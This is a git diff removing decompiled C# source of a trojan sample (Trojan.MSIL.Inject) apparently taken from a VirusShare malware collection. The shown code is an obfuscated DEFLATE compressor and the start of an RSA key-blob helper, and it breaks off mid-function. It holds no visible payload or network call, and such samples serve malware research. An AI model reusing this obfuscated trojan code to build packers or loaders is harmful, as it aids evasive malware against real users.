@@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.Collections; -using System.IO; - -internal sealed class \uE00F -{ - public sealed class \uE000 : Stream, IDisposable - { - private const int \uE000 = 8192; - private Stream \uE001; - private bool \uE002; - private bool \uE003; - private \uE00F.\uE008 \uE004; - private byte[] \uE005; - private int \uE006; - - public \uE000(Stream _param1) - : this(_param1, false) - { - } - - public \uE000(Stream _param1, bool _param2) - { - this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException(); -label_4: - int num = 1; - while (true) - { - switch (num) - { - case 0: - this.\uE004 = new \uE00F.\uE008(_param1); - num = 4; - continue; - case 1: - this.\uE002 = _param2; - num = 2; - continue; - case 2: - this.\uE003 = true; - num = 3; - continue; - case 3: - this.\uE005 = new byte[8192]; - num = 0; - continue; - case 4: - goto label_9; - default: - goto label_4; - } - } -label_9:; - } - - public Stream \uE000 => this.\uE001; - - public override bool CanSeek => false; - - public override bool CanRead => false; - - public override bool CanWrite => true; - - public override long Length => throw new NotImplementedException(); - - public override long Position - { - get => throw new NotImplementedException(); - set => throw new NotImplementedException(); - } - - public override long Seek(long offset, SeekOrigin origin) => throw new NotImplementedException(); - - public override void SetLength(long value) => throw new NotImplementedException(); - - private void \uE000() - { - if (!this.\uE003) - throw new InvalidOperationException("Stream is closed."); - } - - public override int Read(byte[] buffer, int offset, int count) => throw new NotSupportedException(); - - public override void Write(byte[] buffer, int offset, int count) - { - if ((count >= 0 ? 0 : 1) != 0 || count > buffer.Length) - throw new ArgumentOutOfRangeException(nameof (count)); - if (offset < 0 || offset > buffer.Length) - throw new ArgumentOutOfRangeException(nameof (offset)); - if (offset + count > buffer.Length) - throw new ArgumentException("offset + count out of buffer"); - this.\uE000(); - if (this.\uE006 + count > 8192) - this.\uE001(); - if (count >= 8192) - { - int num; - for (num = 0; count - num > 32768; num += 32768) - this.\uE004.\uE002(buffer, offset + num, 32768, false); - this.\uE004.\uE002(buffer, offset + num, count - num, false); - } - else - { - Array.Copy((Array) buffer, offset, (Array) this.\uE005, this.\uE006, count); -label_15: - int num = 1; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006 == 8192) - { - num = 2; - continue; - } - goto label_19; - case 1: - this.\uE006 += count; - num = 0; - continue; - case 2: - goto label_20; - default: - goto label_15; - } - } -label_19: - return; -label_20: - this.\uE001(); - } - } - - private void \uE001() - { - if (this.\uE006 <= 0) - return; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE004.\uE002(this.\uE005, 0, this.\uE006, false); - num = 1; - continue; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - this.\uE006 = 0; - } - - public override void Flush() - { - this.\uE000(); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006 > 0) - { - num = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - this.\uE001(); -label_6: - this.\uE004.\uE001(true, false); - this.\uE000.Flush(); - } - - private void \uE002() - { - if (this.\uE006 > 0) - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE004.\uE002(this.\uE005, 0, this.\uE006, true); - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - else - this.\uE004.\uE001(false, true); - } - - void IDisposable.Dispose() - { - if ((!this.\uE003 ? 1 : 0) == 0) - { - this.\uE002(); -label_3: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE005 = (byte[]) null; - num = 2; - continue; - case 1: - if (!this.\uE002) - { - num = 3; - continue; - } - goto label_10; - case 2: - this.\uE004 = (\uE00F.\uE008) null; - num = 1; - continue; - case 3: - this.\uE001.Close(); - num = 4; - continue; - case 4: - goto label_9; - default: - goto label_3; - } - } -label_9: - this.\uE001 = (Stream) null; -label_10: - this.\uE003 = false; - } - this.Close(); - } - } - - private sealed class \uE008 - { - public const int \uE000 = 32768; - private Stream \uE001; - private \uE00F.\uE00E \uE002; - private \uE00F.\uE00A \uE003; - - public \uE008(Stream _param1) - { - this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException(); -label_5: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 = new \uE00F.\uE00E(_param1); - num = 1; - continue; - case 1: - this.\uE003 = new \uE00F.\uE00A(); - num = 2; - continue; - case 2: - goto label_4; - default: - goto label_5; - } - } -label_4:; - } - - public Stream \uE000 => this.\uE001; - - internal void \uE000( - \uE00F.\uE00D _param1, - out int[] _param2, - out int[] _param3, - out int _param4) - { - _param2 = new int[286]; - _param3 = new int[30]; - _param4 = 0; - int index1 = 0; - int index2 = 0; - if ((index2 == 0 ? 1 : 0) != 0) - goto label_10; -label_1: - ushort index3 = (ushort) _param1.\uE000[index1]; - if (index3 <= (ushort) 256) - { - ++_param2[(int) index3]; - ++index1; - } - else - { - ++_param2[(int) index3]; -label_5: - int num = 0; - while (true) - { - switch (num) - { - case 0: - ++_param3[(int) (ushort) _param1.\uE000[index1 + 2]]; - num = 2; - continue; - case 1: - _param4 += (int) (byte) _param1.\uE001[index2] + (int) (byte) _param1.\uE001[index2 + 1]; - num = 3; - continue; - case 2: - index1 += 4; - num = 1; - continue; - case 3: - goto label_9; - default: - goto label_5; - } - } -label_9: - index2 += 2; - } -label_10: - if (index1 < _param1.\uE000.Count) - goto label_1; - } - - public void \uE001(bool _param1, bool _param2) - { - this.\uE002.\uE000(_param2); - if ((!_param1 ? 1 : 0) == 0) - { - this.\uE002.\uE001(0, 2); -label_3: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002.\uE003(); - num = 2; - continue; - case 1: - this.\uE002.\uE001((int) ushort.MaxValue, 16); - num = 3; - continue; - case 2: - this.\uE002.\uE001(0, 16); - num = 1; - continue; - case 3: - goto label_8; - default: - goto label_3; - } - } - } - else - { - this.\uE002.\uE001(1, 2); - \uE00B obj = \uE00A.\uE011[256]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - } -label_8: - if (!_param2) - return; - this.\uE002.\uE003(); - } - - public void \uE002(byte[] _param1, int _param2, int _param3, bool _param4) - { - if (_param3 > 32768) - throw new ArgumentOutOfRangeException(); - \uE00F.\uE00D obj = this.\uE003.\uE000(_param1, _param2, _param3); - if ((obj == null ? 0 : 1) == 0) - throw new InvalidOperationException(); - if (obj.\uE002 != _param3) - throw new InvalidOperationException(); - obj.\uE002(); - int[] numArray1; - int[] numArray2; - int num1; - this.\uE000(obj, out numArray1, out numArray2, out num1); - int[] numArray3 = \uE00A.\uE00B(numArray1); - int[] numArray4 = \uE00A.\uE00B(numArray2); - int num2 = (4 + _param3) * 8; - int num3 = this.\uE002.\uE001 >= 3 ? num2 + (this.\uE002.\uE001 - 3) : num2 + (5 + this.\uE002.\uE001); - int num4 = \uE00A.\uE000(numArray3, numArray1) + \uE00A.\uE000(numArray4, numArray2) + num1; - int num5 = \uE00A.\uE001(numArray3, numArray4) + num1; - bool flag1 = num5 <= num4 || num3 <= num4; - if (!flag1) - { - int num6 = num4 + this.\uE006(numArray3, numArray4); - flag1 = num5 <= num6 || num3 <= num6; - } - bool flag2 = num3 < num5; - this.\uE002.\uE000(_param4); - if (flag2 && flag1) - { - this.\uE002.\uE001(0, 2); -label_11: - int num7 = 3; - int num8; - int num9; - while (true) - { - switch (num7) - { - case 0: - this.\uE002.\uE003(); - num7 = 6; - continue; - case 1: - this.\uE002.\uE001(num8, 16); - num7 = 2; - continue; - case 2: - this.\uE002.\uE001(num9, 16); - num7 = 0; - continue; - case 3: - this.\uE002.\uE003(); - num7 = 5; - continue; - case 4: - num9 = ~_param3 & (int) ushort.MaxValue; - num7 = 1; - continue; - case 5: - num8 = _param3; - num7 = 4; - continue; - case 6: - this.\uE004(_param1, _param2, _param3); - num7 = 7; - continue; - case 7: - goto label_23; - default: - goto label_11; - } - } - } - else - { - \uE00B[] objArray1; - \uE00B[] objArray2; - if (flag1) - { - this.\uE002.\uE001(1, 2); - objArray1 = \uE00A.\uE011; - objArray2 = \uE00A.\uE012; - } - else - { - this.\uE002.\uE001(2, 2); - this.\uE005(numArray3, numArray4); - objArray1 = \uE00A.\uE002(numArray3); - objArray2 = \uE00A.\uE002(numArray4); - } - this.\uE003(obj, objArray1, objArray2); - } -label_23: - if (!_param4) - return; - this.\uE002.\uE003(); - } - - private void \uE003(\uE00F.\uE00D _param1, \uE00B[] _param2, \uE00B[] _param3) - { - int index1 = 0; - int index2 = 0; - if ((index2 == 0 ? 1 : 0) != 0) - goto label_15; -label_1: - int index3 = (int) (ushort) _param1.\uE000[index1]; - if (index3 <= 256) - { - \uE00B obj = _param2[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - ++index1; - } - else - { - \uE00B obj = _param2[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - if ((byte) _param1.\uE001[index2] > (byte) 0) - this.\uE002.\uE001((int) (ushort) _param1.\uE000[index1 + 1], (int) (byte) _param1.\uE001[index2]); - int index4 = index1 + 2; -label_7: - int num = 3; - while (true) - { - switch (num) - { - case 0: - obj = _param3[(int) (ushort) _param1.\uE000[index4]]; - num = 2; - continue; - case 1: - if ((byte) _param1.\uE001[index2] > (byte) 0) - { - num = 4; - continue; - } - goto label_14; - case 2: - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - num = 1; - continue; - case 3: - ++index2; - num = 0; - continue; - case 4: - goto label_13; - default: - goto label_7; - } - } -label_13: - this.\uE002.\uE001((int) (ushort) _param1.\uE000[index4 + 1], (int) (byte) _param1.\uE001[index2]); -label_14: - index1 = index4 + 2; - ++index2; - } -label_15: - if (index1 < _param1.\uE000.Count) - goto label_1; - } - - private void \uE004(byte[] _param1, int _param2, int _param3) => this.\uE000.Write(_param1, _param2, _param3); - - private void \uE005(int[] _param1, int[] _param2) - { - int[] numArray1 = new int[19]; - int num1 = 286; - if ((num1 == 0 ? 0 : 1) != 0) - goto label_2; -label_1: - --num1; -label_2: - if (num1 <= 257 || _param1[num1 - 1] != 0) - { - int length = 30; - while (length > 1 && _param2[length - 1] == 0) - --length; - int[] destinationArray = new int[num1 + length]; - Array.Copy((Array) _param1, 0, (Array) destinationArray, 0, num1); - Array.Copy((Array) _param2, 0, (Array) destinationArray, num1, length); - int[] numArray2 = \uE00A.\uE00D(destinationArray, 0, destinationArray.Length); - for (int index = 0; index < numArray2.Length; ++index) - { - ++numArray1[numArray2[index]]; - if (numArray2[index] >= 16) - ++index; - } - int[] numArray3 = \uE00A.\uE00A(numArray1, 7); - int[] numArray4 = \uE00A.\uE014; - int num2 = 19; - while (num2 > 4 && numArray3[numArray4[num2 - 1]] == 0) - --num2; - int num3 = num1 - 257; -label_16: - int num4 = 2; - int num5; - int num6; - \uE00B[] objArray; - int index1; - while (true) - { - switch (num4) - { - case 0: - this.\uE002.\uE001(num3, 5); - num4 = 5; - continue; - case 1: - num5 = num2 - 4; - num4 = 4; - continue; - case 2: - num6 = length - 1; - num4 = 1; - continue; - case 3: - this.\uE002.\uE001(num5, 4); - num4 = 6; - continue; - case 4: - objArray = \uE00A.\uE002(numArray3); - num4 = 0; - continue; - case 5: - this.\uE002.\uE001(num6, 5); - num4 = 3; - continue; - case 6: - index1 = 0; - num4 = 7; - continue; - case 7: - goto label_26; - default: - goto label_16; - } - } -label_26: - for (; index1 < num2; ++index1) - this.\uE002.\uE001(numArray3[numArray4[index1]], 3); - for (int index2 = 0; index2 < numArray2.Length; ++index2) - { - int index3 = numArray2[index2]; - \uE00B obj = objArray[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - if (index3 >= 16) - { - ++index2; - this.\uE002.\uE001(numArray2[index2], \uE00A.\uE00C(index3)); - } - } - } - else - goto label_1; - } - - private int \uE006(int[] _param1, int[] _param2) - { - int[] numArray1 = new int[19]; - int num1 = 0; - int num2 = 286; - if ((num2 == 0 ? 0 : 1) != 0) - goto label_2; -label_1: - --num2; -label_2: - if (num2 <= 257 || _param1[num2 - 1] != 0) - { - int[] numArray2 = \uE00A.\uE00D(_param1, 0, num2); -label_12: - for (int index = 0; index < numArray2.Length; ++index) - { - ++numArray1[numArray2[index]]; -label_6: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (numArray2[index] >= 16) - { - num3 = 1; - continue; - } - goto label_12; - case 1: - num1 += \uE00A.\uE00C(numArray2[index]); - num3 = 2; - continue; - case 2: - goto label_10; - default: - goto label_6; - } - } -label_10: - ++index; - } - int num4 = 30; - while (num4 > 1 && _param2[num4 - 1] == 0) - --num4; - int[] numArray3 = \uE00A.\uE00D(_param2, 0, num4); - for (int index = 0; index < numArray3.Length; ++index) - { - ++numArray1[numArray3[index]]; - if (numArray3[index] >= 16) - { - num1 += \uE00A.\uE00C(numArray3[index]); - ++index; - } - } - int[] numArray4 = \uE00A.\uE00B(numArray1); - int num5 = \uE00A.\uE000(numArray1, numArray4); - int[] numArray5 = \uE00A.\uE014; - int num6 = 19; - while (num6 > 4 && numArray4[numArray5[num6 - 1]] == 0) - --num6; - return 14 + (num6 - 4 + 4) * 3 + num5 + num1; - } - goto label_1; - } - } - - private sealed class \uE009 - { - public static readonly \uE00F.\uE009 \uE000; - public int \uE001; - public int \uE002; - public int \uE003; - public int \uE004; - - static \uE009() - { - \uE00F.\uE009 obj = new \uE00F.\uE009(); -label_2: - int num = 2; - while (true) - { - switch (num) - { - case 0: - obj.\uE002 = 32; - num = 1; - continue; - case 1: - obj.\uE003 = 128; - num = 3; - continue; - case 2: - obj.\uE001 = 8; - num = 0; - continue; - case 3: - obj.\uE004 = 256; - num = 4; - continue; - case 4: - \uE00F.\uE009.\uE000 = obj; - num = 5; - continue; - case 5: - goto label_8; - default: - goto label_2; - } - } -label_8:; - } - } - - private sealed class \uE00A - { - private const int \uE000 = 258; - private const int \uE001 = 32768; - private \uE00F.\uE00C \uE002; - private \uE00F.\uE00B \uE003; - private \uE00F.\uE009 \uE004; - private int \uE005; - - internal \uE00A() - : this(\uE00F.\uE009.\uE000) - { - } - - internal \uE00A(\uE00F.\uE009 _param1) - { - this.\uE004 = _param1; -label_2: - int num = 2; - while (true) - { - switch (num) - { - case 0: - this.\uE003 = new \uE00F.\uE00B(32768); - num = 1; - continue; - case 1: - this.\uE005 = 0; - num = 3; - continue; - case 2: - this.\uE002 = new \uE00F.\uE00C(65536); - num = 0; - continue; - case 3: - goto label_6; - default: - goto label_2; - } - } -label_6:; - } - - internal \uE00F.\uE009 \uE000 => this.\uE004; - - public \uE00F.\uE00D \uE000(byte[] _param1, int _param2, int _param3) - { - if (this.\uE002.\uE002 + _param3 > this.\uE002.\uE001) - { - int num = this.\uE002.\uE002 - 32768; - this.\uE002.\uE001(num); - if ((this.\uE005 >= num ? 0 : 1) == 0) - { - this.\uE005 -= num; - } - else - { - this.\uE003.\uE003(num - this.\uE005); - this.\uE005 = 0; - } - } - int num1 = this.\uE002.\uE002; -label_6: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - if (this.\uE005 < num1) - { - num2 = 2; - continue; - } - goto label_11; - case 1: - this.\uE002.\uE000(_param1, _param2, _param3); - num2 = 0; - continue; - case 2: - goto label_10; - default: - goto label_6; - } - } -label_10: - this.\uE003.\uE002(this.\uE002.\uE000, this.\uE005, num1 - this.\uE005); -label_11: - return this.\uE000.\uE003 > 0 ? this.\uE002(this.\uE003, this.\uE002.\uE000, num1, _param3, out this.\uE005) : this.\uE001(this.\uE002.\uE000, num1, _param3); - } - - private \uE00F.\uE00D \uE001(byte[] _param1, int _param2, int _param3) - { - \uE00F.\uE00D obj = new \uE00F.\uE00D(); -label_2: - int num1 = 2; - int index; - while (true) - { - switch (num1) - { - case 0: - index = 0; - num1 = 1; - continue; - case 1: - if (index != 0) - { - num1 = 3; - continue; - } - goto label_8; - case 2: - obj.\uE000.Capacity = _param3 + 1; - num1 = 0; - continue; - case 3: - goto label_7; - default: - goto label_2; - } - } -label_7: - int num2 = 0; - goto label_9; -label_8: - num2 = 1; -label_9: - if (num2 != 0) - goto label_11; -label_10: - obj.\uE000(_param1[index]); - ++index; -label_11: - if (index >= _param3) - return obj; - goto label_10; - } - - private \uE00F.\uE00D \uE002( - \uE00F.\uE00B _param1, - byte[] _param2, - int _param3, - int _param4, - out int _param5) - { - \uE00F.\uE00D obj1 = new \uE00F.\uE00D(); - object obj2 = (object) null; - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_18; -label_1: - \uE00F.\uE00B.\uE000 obj3 = _param1.\uE000(_param2, _param3 + num1); - if (obj3 != null) - { - object obj4; - if (obj2 != null) - { - obj4 = obj2; - obj2 = (object) null; - } - else - obj4 = (object) this.\uE003(_param2, _param3, _param4, num1, obj3, 3); - \uE00F.\uE00A.\uE000 obj5 = (\uE00F.\uE00A.\uE000) obj4; - bool flag = obj5.\uE001 >= 3; - if (flag && num1 < _param4 - 3 && obj5.\uE001 < this.\uE004.\uE002) - { - \uE00F.\uE00B.\uE000 obj6 = _param1.\uE000(_param2, _param3 + num1 + 1); - if (obj6 != null) - { - \uE00F.\uE00A.\uE000 obj7 = this.\uE003(_param2, _param3, _param4, num1 + 1, obj6, obj5.\uE001 + 1); - if (obj7.\uE001 > obj5.\uE001) - { - obj2 = (object) obj7; - flag = false; - } - } - } - if (flag) - { - obj1.\uE001(num1 - obj5.\uE000, obj5.\uE001); -label_12: - int num2 = 2; - while (true) - { - switch (num2) - { - case 0: - num1 += obj5.\uE001; - num2 = 1; - continue; - case 1: - _param1.\uE003(obj5.\uE001 - 1); - num2 = 3; - continue; - case 2: - _param1.\uE001(_param2, _param3 + num1); - num2 = 0; - continue; - case 3: - goto label_18; - default: - goto label_12; - } - } - } - else - { - obj1.\uE000(_param2[_param3 + num1]); - _param1.\uE001(_param2, _param3 + num1); - ++num1; - } - } - else - { - obj1.\uE000(_param2[_param3 + num1]); - _param1.\uE001(_param2, _param3 + num1); - ++num1; - } -label_18: - if (num1 >= _param4 - 2) - { - _param5 = _param3 + num1; - for (; num1 < _param4; ++num1) - obj1.\uE000(_param2[_param3 + num1]); - return obj1; - } - goto label_1; - } - - private \uE00F.\uE00A.\uE000 \uE003( - byte[] _param1, - int _param2, - int _param3, - int _param4, - \uE00F.\uE00B.\uE000 _param5, - int _param6) - { - int num1 = this.\uE004.\uE004; -label_2: - int num2 = 4; - int num3; - int num4; - int num5; - int num6; - int num7; - while (true) - { - switch (num2) - { - case 0: - num3 = _param2 + _param4; - num2 = 5; - continue; - case 1: - num4 = -1; - num2 = 3; - continue; - case 2: - num5 = _param6 - 1; - num2 = 0; - continue; - case 3: - num6 = 0; - num2 = 2; - continue; - case 4: - num7 = 0; - num2 = 1; - continue; - case 5: - goto label_17; - default: - goto label_2; - } - } -label_17: - while (_param5.\uE000()) - { - int num8 = 0; - int num9 = _param4 - _param5.\uE000; - if (_param4 + num5 < _param3) - { - int num10 = _param2 + num9; - if ((int) _param1[num10 + num5] == (int) _param1[num3 + num5]) - { - while (num8 < 258 && _param4 + num8 < _param3 && (int) _param1[num10 + num8] == (int) _param1[num3 + num8]) - ++num8; - if ((num8 >= num7 ? 0 : 1) == 0) - { - num7 = num8; - num5 = num8; - num4 = num9; - if (num7 >= this.\uE004.\uE003) - break; - } - if (num7 >= this.\uE004.\uE001) - num1 >>= 2; - } - if (++num6 >= num1) - break; - } - else - break; - } - return new \uE00F.\uE00A.\uE000() - { - \uE001 = num7, - \uE000 = num4 - }; - } - - private struct \uE000 - { - public int \uE000; - public int \uE001; - } - } - - private sealed class \uE00B - { - private const int \uE000 = 16777216; - private const int \uE001 = 256; - private const ushort \uE002 = 65535; - private const ushort \uE003 = 0; - private int \uE004; - private ushort[] \uE005; - private int[] \uE006; - private int \uE007; - - internal \uE00B(int _param1) - { - this.\uE004 = _param1; -label_2: - int num1 = 0; - int index; - while (true) - { - switch (num1) - { - case 0: - this.\uE005 = new ushort[this.\uE004]; - num1 = 1; - continue; - case 1: - this.\uE006 = new int[256]; - num1 = 3; - continue; - case 2: - if (index != 0) - { - num1 = 4; - continue; - } - goto label_9; - case 3: - index = 0; - num1 = 2; - continue; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num2 = 0; - goto label_10; -label_9: - num2 = 1; -label_10: - if (num2 != 0) - goto label_12; -label_11: - this.\uE006[index] = (int) ushort.MaxValue; - ++index; -label_12: - if (index < 256) - goto label_11; - } - - internal \uE00F.\uE00B.\uE000 \uE000(byte[] _param1, int _param2) - { - int index = \uE00F.\uE00B.\uE004(_param1, _param2); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006[index] != (int) ushort.MaxValue) - { - num = 1; - continue; - } - goto label_7; - case 1: - if (this.\uE007 - this.\uE006[index] > this.\uE004) - { - num = 2; - continue; - } - goto label_8; - case 2: - goto label_7; - default: - goto label_2; - } - } -label_7: - return (\uE00F.\uE00B.\uE000) null; -label_8: - return new \uE00F.\uE00B.\uE000(this, this.\uE007 - this.\uE006[index]); - } - - internal void \uE001(byte[] _param1, int _param2) - { - int index1 = \uE00F.\uE00B.\uE004(_param1, _param2); - this.\uE005[this.\uE007 % this.\uE004] = this.\uE006[index1] == (int) ushort.MaxValue || (this.\uE007 - this.\uE006[index1] >= this.\uE004 ? 0 : 1) == 0 ? (ushort) 0 : (ushort) (this.\uE007 - this.\uE006[index1]); - this.\uE006[index1] = this.\uE007; -label_2: - int num1 = 3; - int num2; - int index2; - int num3; - while (true) - { - switch (num1) - { - case 0: - num2 = this.\uE007 - this.\uE004; - num1 = 4; - continue; - case 1: - index2 = 0; - num1 = 5; - continue; - case 2: - if (num3 >= 16777216) - { - num1 = 0; - continue; - } - goto label_14; - case 3: - num3 = ++this.\uE007; - num1 = 2; - continue; - case 4: - num2 -= num2 % this.\uE004; - num1 = 1; - continue; - case 5: - goto label_13; - default: - goto label_2; - } - } -label_14: - return; -label_13: - for (; index2 < this.\uE006.Length; ++index2) - { - if (this.\uE006[index2] >= num2) - this.\uE006[index2] -= num2; - else - this.\uE006[index2] = 0; - } - this.\uE007 -= num2; - } - - internal void \uE002(byte[] _param1, int _param2, int _param3) - { - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_6; - else - goto label_3; -label_2: - int num2; - switch (num2) - { - case 0: - goto label_4; - case 1: - ++num1; - goto label_6; - } -label_3: - num2 = 0; - goto label_2; -label_4: - this.\uE001(_param1, _param2 + num1); - num2 = 1; - goto label_2; -label_6: - if (num1 < _param3) - goto label_4; - } - - internal void \uE003(int _param1) => this.\uE007 += _param1; - - private static int \uE004(byte[] _param0, int _param1) => (int) (byte) ((uint) _param0[_param1] + (uint) _param0[_param1 + 1] + (uint) _param0[_param1 + 2]); - - internal sealed class \uE000 - { - private \uE00F.\uE00B \uE000; - private int \uE001; - private int \uE002; - - internal \uE000(\uE00F.\uE00B _param1, int _param2) - { - this.\uE000 = _param1; - this.\uE001 = _param2; - } - - internal int \uE000 => this.\uE001; - - internal bool \uE000() - { - if ((this.\uE002 == 0 ? 0 : 1) == 0) - { - this.\uE002 = 1; - return true; - } - if (this.\uE002 == 1) - { - ushort num1 = this.\uE000.\uE005[(this.\uE000.\uE007 - this.\uE001) % this.\uE000.\uE004]; -label_5: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - if (this.\uE001 <= this.\uE000.\uE004) - { - num2 = 3; - continue; - } - goto label_12; - case 1: - if (num1 != (ushort) 0) - { - num2 = 2; - continue; - } - goto label_12; - case 2: - this.\uE001 += (int) num1; - num2 = 0; - continue; - case 3: - goto label_11; - default: - goto label_5; - } - } -label_11: - return true; -label_12: - this.\uE002 = 2; - } - return false; - } - } - } - - private sealed class \uE00C - { - private int \uE000; - private byte[] \uE001; - private int \uE002; - - public \uE00C(int _param1) - { - this.\uE000 = _param1; - this.\uE001 = new byte[_param1]; - this.\uE002 = 0; - } - - public byte[] \uE000 => this.\uE001; - - public int \uE001 => this.\uE000; - - public int \uE002 => this.\uE002; - - public void \uE000(byte[] _param1, int _param2, int _param3) - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE001, this.\uE002, _param3); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 += _param3; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - - public void \uE001(int _param1) - { - Array.Copy((Array) this.\uE001, _param1, (Array) this.\uE001, 0, this.\uE002 - _param1); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 -= _param1; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - } - - private sealed class \uE00D - { - internal ArrayList \uE000 = new ArrayList(); - internal ArrayList \uE001 = new ArrayList(); - internal int \uE002; - - public void \uE000(byte _param1) - { - this.\uE000.Add((object) (ushort) _param1); - ++this.\uE002; - } - - public void \uE001(int _param1, int _param2) - { - if ((_param1 >= 1 ? 0 : 1) != 0 || _param1 > 32768) - throw new ArgumentOutOfRangeException(); - if (_param2 < 3 || _param2 > 258) - throw new ArgumentOutOfRangeException(); - int num1; - int num2; - int num3; - \uE00A.\uE008(_param2, out num1, out num2, out num3); -label_6: - int num4 = 6; - int num5; - int num6; - int num7; - while (true) - { - switch (num4) - { - case 0: - this.\uE000.Add((object) (ushort) num2); - num4 = 4; - continue; - case 1: - this.\uE000.Add((object) (ushort) num5); - num4 = 7; - continue; - case 2: - this.\uE000.Add((object) (ushort) num1); - num4 = 0; - continue; - case 3: - this.\uE001.Add((object) (byte) num6); - num4 = 5; - continue; - case 4: - this.\uE001.Add((object) (byte) num3); - num4 = 1; - continue; - case 5: - this.\uE002 += _param2; - num4 = 8; - continue; - case 6: - \uE00A.\uE009(_param1, out num5, out num7, out num6); - num4 = 2; - continue; - case 7: - this.\uE000.Add((object) (ushort) num7); - num4 = 3; - continue; - case 8: - goto label_15; - default: - goto label_6; - } - } -label_15:; - } - - internal void \uE002() => this.\uE000.Add((object) (ushort) 256); - } - - private sealed class \uE00E - { - private uint \uE000; - private int \uE001; - private Stream \uE002; - - internal \uE00E(Stream _param1) => this.\uE002 = _param1; - - internal Stream \uE000 => this.\uE002; - - internal int \uE001 => (32 - this.\uE001) % 8; - - internal void \uE000(bool _param1) => this.\uE001(_param1 ? 1 : 0, 1); - - internal void \uE001(int _param1, int _param2) - { - uint num1 = this.\uE000 | checked ((uint) _param1) << this.\uE001; - int num2; - for (num2 = this.\uE001 + _param2; num2 >= 8; num2 -= 8) - { - this.\uE000.WriteByte((byte) num1); - num1 >>= 8; - } -label_5: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - this.\uE000 = num1; - num3 = 1; - continue; - case 1: - this.\uE001 = num2; - num3 = 2; - continue; - case 2: - goto label_3; - default: - goto label_5; - } - } -label_3:; - } - - internal void \uE002(int _param1, int _param2) - { - int num1 = 0; -label_7: - for (int index = _param2 - 1; index >= 0; --index) - { - num1 <<= 1; -label_3: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - num1 |= _param1 & 1; - num2 = 1; - continue; - case 1: - _param1 >>= 1; - num2 = 2; - continue; - case 2: - goto label_7; - default: - goto label_3; - } - } - } - this.\uE001(num1, _param2); - } - - internal void \uE003() - { - if (this.\uE001 <= 0) - return; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE000.WriteByte((byte) this.\uE000); - num = 1; - continue; - case 1: - this.\uE000 = 0U; - num = 2; - continue; - case 2: - goto label_6; - default: - goto label_2; - } - } -label_6: - this.\uE001 = 0; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 91b89416..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,419 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; - -internal sealed class \uE010 -{ - private const int \uE000 = 8; - private const int \uE001 = 20; - private const int \uE002 = 4; - private static byte[] \uE003 = new byte[4]; - private static byte[] \uE004; - - static \uE010() - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - \uE010.\uE004 = new byte[4]; - num = 4; - continue; - case 1: - \uE010.\uE003[1] = \uE010.\uE004[1] = (byte) 83; - num = 3; - continue; - case 2: - \uE010.\uE004[3] = (byte) 50; - num = 6; - continue; - case 3: - \uE010.\uE003[2] = \uE010.\uE004[2] = (byte) 65; - num = 5; - continue; - case 4: - \uE010.\uE003[0] = \uE010.\uE004[0] = (byte) 82; - num = 1; - continue; - case 5: - \uE010.\uE003[3] = (byte) 49; - num = 2; - continue; - case 6: - goto label_9; - default: - 